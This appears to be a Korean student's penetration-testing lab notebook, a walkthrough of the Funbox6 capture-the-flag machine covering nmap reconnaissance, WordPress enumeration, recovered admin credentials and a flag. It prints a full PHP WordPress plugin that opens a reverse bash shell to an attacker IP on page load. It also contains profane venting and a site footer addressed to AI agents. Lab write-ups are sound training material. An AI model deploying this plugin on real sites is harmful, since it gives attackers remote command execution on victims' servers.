> For the complete documentation index, see [llms.txt](https://krjaeh0.gitbook.io/j-log/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://krjaeh0.gitbook.io/j-log/security/labs/pentestassignment.md).

# PenTestAssignment

> ⚠ Switch to EXCALIDRAW VIEW in the MORE OPTIONS menu of this document. ⚠\
> You can decompress Drawing data with the command palette: "Decompress current Excalidraw file". For more info check in plugin settings under "Saving".

## Text Elements

* DevSecOps 모의해킹 평가 과제 ^X3qwUtMV
* A. Juice shop 모의해킹 결과 보고서 작성 ^P0XA1fty
* CTF 문제 풀이 ^W9hmd5pW
* V0.1 버전으로 제출할 예정 ^3vsFdaNv
* Kali(공격자) 머신과 Funbox(피해자) 머신이 같은 네트워크에 설치된 상황을 가정하고 환경 설정> Host Only ^1GKdXBlG
* 피해자 머신 IP 확인 ^KhwogehN
* nmap -v -A funbox6.box ^SOwAkwaZ
* 22/tcp: ssh 서비스가 동작 중임을 확인 ^EEHGunyl
* ssh 서비스의 버전 정보를 확인할 수 있다. ^9FEnoVsL
* 해당 ssh 버전에 취약점이 존재하는 것 같다. ^bOiVrp4N
* 해당 openssh 버전에 알려진 취약점이 다양한 것 같다. ^oLLSYZ6u
* 특정 사용자 계정이 존재하는지 확인하는데 사용되며 그 외 직접적인 익스플로잇 과정에 필요한 것 같지는 않다. ^AlM2qgtP
* 브루트 포스 공격이나 사회공학 해킹에 유용하게 사용될 것 같다. ^HE3AHlYx
* 서비스의 취약점을 통해 일반 사용자 계정으로 서비스에 접속한 후 사용하면 root 권한을 얻을 수 있을 것 같다. ^uolSLsTX
* 웹 서비스에 대한 정보도 확인할 수 있다. ^kbbkF0sv
* Apache httpd 2.4.18 버전은 최신 버전일까? ^QOXSKlCG
* wordpress 5.5.1 버전으로 구축한 웹 서버로 확인된다. ^okPJs9ws
* 크로스 사이트 스크립팅, 권한 상승, 보안 우회, 서비스 거부 및 PHP 개체 주입 취약성을 포함한 여러 취약성에 취약 ^qeQDfATs
* 리눅스 커널 버전에 대한 정보도 얻을 수 있다. ^7xN2nKb4
* 아직 바로 exploit 하기에는 정보가 부족하다. 자료를 더 조사해보자 ^UPv8N0Zz
* 서비스 중인 웹 서버에서 육안으로 별 다른 기능을 찾을 수 없었다. ^WV5FXjhO
* 서버 구성 정보를 확인할 수 있었다. ^nNnyZoMv
* <https://funbox6.box/wp-content/uploads/> 경로로 접근이 가능하다. ^Rxyo8vin
* 서비스에 사용되는 이미지 파일들을 저장한 디렉터리 정보를 확인할 수 있었다. ^3D2c0bdg
* 추가로 wp-admin 페이지에 접근 가능한 것을 확인했지만 계정 정보를 알 수 없어 접속하지는 못했다. Kali 에서 사용할 만한 툴이 있을지 확인해 보자 ^vv34cVkN
* 도메인을 이용해 접속하면 wordpress 페이지로 이동한다. ^P2zB86Ip
* 도메인을 사용하지 않고 ip 로 접속하면 gif 이미지를 출력하는 웹 페이지로 이동한다. ^WTEqAQii
* username:itsskv 라는 정보를 획득했다. ^BtKSeYYr

Hint:

* 이 VM의 생성자는 포트 80에서 실행되는 서버를 계속 변경하는 cron 작업을 만든 것 같습니다. 따라서 거의 5\~7분마다 포트에서 실행되는 다른 서버를 볼 수 있습니다(하지만 면밀히 살펴보지 않으면 알 수 없습니다). ^QfS4fZkZ
* flag{MFSG22LOHJTWC3LCNRSWQYLMNQ3TONY=} ^GX4m11Np
* server 가 Opened 상태일 때만 플래그를 획득할 수 있었다. 머신 시작 후 일정 시간이 지나면 서비스 포트가 변경되기에 플래그 값을 확인할 수 없게 된다. ^FCnTimIp
* admin:gamblehall777 ^ZzKaZLb7
* base32 decoding ^apUoAgiM
* watch -n 1 'curl -s funbox6.box | grep OPENED' ^4qaLiZKO
* 결과가 출력 될 때만 공격이 가능하다. ^XYQeX0Ra
* 관리자 페이지에 별다른 내용은 없었다. 웹 쉘을 업로드할 수 있는 플러그인도 없고, 이미지를 업로드 할때 설명이나 태그로 관리자 권한을 얻는 취약점이 있지만 이미 관리자 계정으로 로그인한 시점에서 필요없는 작업이다. 따로 웹 쉘을 업로드 할 수 있는 방법을 찾아야 했다. ^BOmP3zX0
* msf 콘솔에서 관지자 계정으로 서버 임의의 코드 실행 명령을 내릴 수 있는 페이로드를 찾았다. ^cwlxbkvL
* 세션이 생성되지 않았다. 원인을 찾아보자 ^kplxIvSW
* wpscan 기능이 msf console 에도 있다. ^mxXzq8v4
* 다양한 설정을 수정해도 쉘이 생성되지 않는다... 다른 방법이 없을까? ^zZh5rjh0
* 관리자 페이지의 악성 플러그 인(리버스 쉘 스크립트)을 업로드 한다. ^MMc7DrhI
* 원하는 포트를 개방한 상태에서 대기 ^E1gQTLUz
* 잘 안돼서 플러그 인 코드를 인용해 새로운 코드를 작성했다. ^iMUvxoW2

PHP 코드 (Reverse Shell Plugin):

{% code title="reverse-shell-plugin.php" %}

```php
<?php
/*
Plugin Name: Reverse Shell Plugin
Description: A simple reverse shell plugin for educational purposes.
Author: CTF Learner
Version: 1.1
*/

// Hook to trigger the reverse shell
add_action('init', 'start_reverse_shell');

function start_reverse_shell() {
    // Specify the attacker's IP and port
    $ip = '192.168.56.104'; // 공격자의 IP 주소
    $port = 4444;           // 공격자가 듣고 있는 포트

    // Check if required functions are available
    if (!function_exists('fsockopen') || !function_exists('proc_open')) {
        return; // Required functions are disabled
    }

    // Open a socket connection
    $sock = fsockopen($ip, $port);
    if ($sock) {
        // Notify attacker of successful connection
        fwrite($sock, "Reverse shell connection established!\n");

        // Define file descriptors for proc_open
        $descriptorspec = array(
            0 => array("pipe", "r"), // STDIN
            1 => array("pipe", "w"), // STDOUT
            2 => array("pipe", "w")  // STDERR
        );

        // Open a bash shell process
        $process = proc_open('/bin/bash -i', $descriptorspec, $pipes);

        if (is_resource($process)) {
            // Redirect bash input/output to the socket
            stream_set_blocking($pipes[1], true);
            stream_set_blocking($pipes[2], true);
            stream_set_blocking($sock, true);

            while (!feof($sock)) {
                $input = fread($sock, 2048);
                fwrite($pipes[0], $input);
                fwrite($sock, fread($pipes[1], 2048));
                fwrite($sock, fread($pipes[2], 2048));
            }

            // Close pipes and process
            fclose($pipes[0]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
        }

        // Close the socket
        fclose($sock);
    }
}
?>
```

{% endcode %}

* 플러그 인처럼 동작하도록 zip으로 압축했다. ^OzLdoKeM
* 방화벽이 문제였을 수도 있으니 사용할 포트는 열어두자 ^HEhPlo2D
* 의도적으로 어려운 문제를 위해 포트를 켜고 끄는 이 상황이 역겹다. ^SrjO1syu
* 만약 처음부터 이 방법을 선택했다면... ^QHQ2AZdj
* 저 ip가 가리키는 곳은 뭐하는 델까? ^sdV6dmtr
* 리버스 쉘 접속에 성공했다. ^FgFMW9XX
* root 계정에 패스워드가 없다는 것을 알았다. ^WQxYOWOu

(사용자 감정/메모)

* 씨발 좆 같네 왜 항상 씨발 나만 ㅈ 쓰래기 같은 환경에서 온몸 비틀기 하고 있어야 하냐 남들은 쉽게 쉽게 풀이 보면서 작업하는데 씨발 나는 풀이를 봐도 에러 밖에 안뜨고 뭐 하나 되는 것도 없어서 직접 코드나 싸고 있고 씨발 내가 이지랄 할라고 학원나와서 공부하냐고 그럴 거였으면 집에서 혼자했지 ㅈ 같아서 못해먹겠네 ^tX61NUts
* 안그래도 감기 기운 있어서 힘들어 죽겠는데 풀이는 안되고 뭐 씨발 문서 하나도 못써서 제출하게 생겼는데 정신 나갈 것 같다 ^T35JroWQ
* 서비스 중인 포트와 서비스 버전을 확인했다. ^VMp2ljQ5
* 80/tcp 에서는 별 다른 내용을 찾지 못했다. ^8ncXkq87
* dirb를 통해 접근 가능한 디렉터리 정보를 알아냄 ^7Ike1m0k
* <http://192.168.56.106/javascript/jquery/jquery> ^3clqcWjS
* 디렉터리에서 소스 코드를 확인 ^Q5H9msLT
* jquery 관련 정보를 확인 할 수 있을 것 같다. ^8SG0dHCl
* 서버에 존재하는 특정 파일에 입력한 문자열을 입력/저장 하는 프로그램 같다. ^tuB7JcQx
* file을 "/bin/bash"로 입력 해 보았지만 의도한 결과는 나오지 않았다. ^xUk3muGy

## Element Links

* FE13D1sh: [CVE-2016-6210](file:///2237607/ctf_writeups/CVE-2016-6210.md)
* vcUoLscC: <https://www.google.com/search?q=apache+httpd+2.4.18+vulnerability\\&oq=apache+httpd+2.4.18\\&gs\\_lcrp=EgZjaHJvbWUqBwgBEAAYgAQyBggAEEUYOTIHCAEQABiABDIHCAIQABiABDIHCAMQABiABDIKCAQQABjHAxiABDIHCAUQABiABDIHCAYQABiABDIKCAcQABiABBiiBDIKCAgQABiABBiiBDIKCAkQABiABBiiBNIBCjExMzgyajBqMTWoAgiwAgE\\&sourceid=chrome\\&ie=UTF-8>
* 8qOgFuCr: <https://www.acunetix.com/vulnerabilities/web/wordpress-5-5-x-multiple-vulnerabilities-5-5-5-5-1/>
* wTuW2LyK: [funbox6\_nmap](file:///2237607/ctf_writeups/funbox6_nmap.md)

## Embedded Files

* 1f63735c36445627945c1e73f82cbbf18d2707e5: \[\[topics/assets/images/Pasted Image 20241128093946\_780.png]]
* 0b4a0a482f76a97192b854018a29cc6c25f6d4f4: \[\[topics/assets/images/Pasted Image 20241128094226\_080.png]]
* 13a32e878a8f11737ac4d061fa7de8ec50fbae88: \[\[topics/assets/images/Pasted Image 20241128094329\_285.png]]
* 8691e8deabbc050e6ab1610332fd39c3ab2e067f: \[\[topics/assets/images/Pasted Image 20241128094909\_511.png]]
* a5c5dd85c40d3eb238e4510596c21469cf93e78b: \[\[topics/assets/images/Pasted Image 20241128095712\_936.png]]
* 55d945a293aa9e26193a1f0fd84e8dd0720485f1: \[\[topics/assets/images/Pasted Image 20241128100919\_040.png]]
* bc1aae79d4b6f8aa3a017c2c4deb092bb23826d4: \[\[topics/assets/images/Pasted Image 20241128103040\_725.png]]
* 0f466da31e27efd6662564a4ae47ebdd5c57657e: \[\[topics/assets/images/Pasted Image 20241128103756\_091.png]]
* da3b5967d034140e423e946ba18486f1b6fd70e0: \[\[topics/assets/images/Pasted Image 20241128104011\_910.png]]
* 453916a4740fc14d4923e2866561933235a5e6ea: \[\[topics/assets/images/Pasted Image 20241128110104\_935.png]]
* c4a1b77455dea6f4d3b37fae2064175df47beabf: \[\[topics/assets/images/Pasted Image 20241128110146\_490.png]]
* 4f24e6ff4176090ae2bf2d79c83edb4a1e6c1d17: \[\[topics/assets/images/Pasted Image 20241128115256\_448.png]]
* e925ad5fd46a7d2085a3c27573622b85bf506011: \[\[topics/assets/images/Pasted Image 20241128115805\_034.png]]
* 00571c236a4f61898e33a4053548a3c29161f360: \[\[topics/assets/images/Pasted Image 20241128125023\_680.png]]
* 7e7dc604d3d34b608445c3dc34b2e600e353132e: \[\[topics/assets/images/Pasted Image 20241128125151\_614.png]]
* 2210f174b6e0573c90dc484dcdf817919bb08d4d: \[\[topics/assets/images/Pasted Image 20241128135310\_637.png]]
* 6df4b097858db023c5780938539e989405c6308c: \[\[topics/assets/images/Pasted Image 20241128140310\_916.png]]
* a3163764593da23d66c9fb036ab9b3e0f0731764: \[\[topics/assets/images/Pasted Image 20241128140408\_984.png]]
* 9c268777ddb03c2d189f451f64ea376455e41630: \[\[topics/assets/images/Pasted Image 20241128144256\_429.png]]
* 8856ef25d9be6e602781edf44cafecec0ef5f65e: \[\[topics/assets/images/Pasted Image 20241128144828\_067.png]]
* e18f01828317ee9ef4e81f7f1035f10c5ecf436a: \[\[topics/assets/images/Pasted Image 20241128145022\_721.png]]
* d1c89ed402c9ae5273c46ddcf4b74274e8bdbbfd: \[\[topics/assets/images/Pasted Image 20241128112841\_517.png]]
* 91ad85a796b48deac4d245cfece... (and more; see original file list)

(끝)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://krjaeh0.gitbook.io/j-log/security/labs/pentestassignment.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
